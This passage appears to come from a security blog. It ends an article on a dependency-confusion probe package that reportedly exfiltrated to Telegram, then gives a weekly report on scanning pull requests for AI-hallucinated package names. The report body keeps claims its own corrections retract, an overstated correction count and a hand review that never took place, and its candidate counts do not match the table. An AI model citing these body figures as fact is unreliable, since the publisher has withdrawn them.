regardless of whether the author ever meant harm.

What this doesn't tell you

We don't know whether atulnagu123 had any engagement or authorisation from Starbucks to test
their namespace, or whether this was an unsolicited scan of a name that seemed plausible. Birsan's
original research had explicit scope and disclosure agreements with each target; nothing in the
registry metadata or the advisory says whether this did. We don't know if the Telegram channel
received data from any real machine — the package could have sat unused, or been installed by
dozens of build systems, and the public record doesn't say which. And we don't know how many other
*-sdk-named dependency-confusion probes are sitting on the registry right now under a similar
"research" label, un-flagged, because nobody has run them yet. This is one advisory, for one
package, read the same day it was published.

Field report: 1246 real pull requests scanned, 0 hallucinated packages confirmed

Mag Solutions — Fri, 18 Sep 2026 08:21:25 +0000

Correction — 03 October 2026. Some figures in this article were wrong when we published them: the mistake was ours. We check every number we publish against its source every day, and correct it here.

quality.correcciones_fijadas_por_prueba: this article said 83; the current measured value is 46. Until 2 October 2026 we counted every regression test in our record as a correction. Many of them actually prove the opposite: that a real problem still fires after a fix. We now publish the two numbers separately.

The live figures are always at https://api.magsolutionsai.com/measurement and https://api.magsolutionsai.com/quality. Sorry for the noise.

Correction — 27 September 2026. This article said that "the 10 candidates that came back
404 were reviewed by hand and every one was our false positive." We have no record of that
review having happened, so the sentence should not have been published. Candidates are now
reviewed one by one and the result is published: as of 27 September 2026, 6 have been
discarded as our own false positives and 12 are still pending review. The number of
hallucinated packages confirmed is still 0, and the pull-request and dependency counts
below were measured on 18 September 2026. Live figures:
https://api.magsolutionsai.com/measurement.

We run a security scanner on public pull requests and publish what it finds — including what it gets wrong. This is the weekly number.

What the field looks like this week


Pull requests analysed	1246
Dependencies resolved against live PyPI and npm	1583
Distinct package names seen	1288
Hallucinated packages confirmed	0
Raw 404 candidates, before review	10
Sweeps, since 2026-09-04	5

Zero is the headline, and it is not good news for us.

A lot has been written about AI assistants inventing package names. On 1246 real pull requests we have confirmed none. The 10 candidates that came back 404 were reviewed by hand and every one was our false positive — sibling packages of a monorepo, and configuration keys read as package names.

What we got wrong, and fixed

83 new correction(s) to the detector this week. Each one is pinned by a regression test built from the exact line we misread, in a real public repository, with the pull request cited.

That brings the public record to 83 corrections across 21 cited repositories. The number is counted from the test file, not written by hand — delete a test and it drops by itself.

Recent sources: ArgusLabs-ai/ARGUS#71, ClankJake/Painel-Plex#23, Luecx/OpenCAE-Studio#48, MilBia/Suchar-Overflow#316, Mu-L/prefect#712, Neonity2020/hermes-agent#601.

Check any of this yourself

The raw record: https://api.magsolutionsai.com/quality
The live field figures: https://api.magsolutionsai.com/measurement
The corpus behind both, with every cited pull request: https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence
Written up in full: https://magsolutionsai.com/quality.html

Generated on 2026-09-18 from measurements taken on public repositories. Every figure above is resolved against the endpoints linked here before publishing, and re-checked weekly afterwards — if one stops being true, this article gets a dated correction at the top.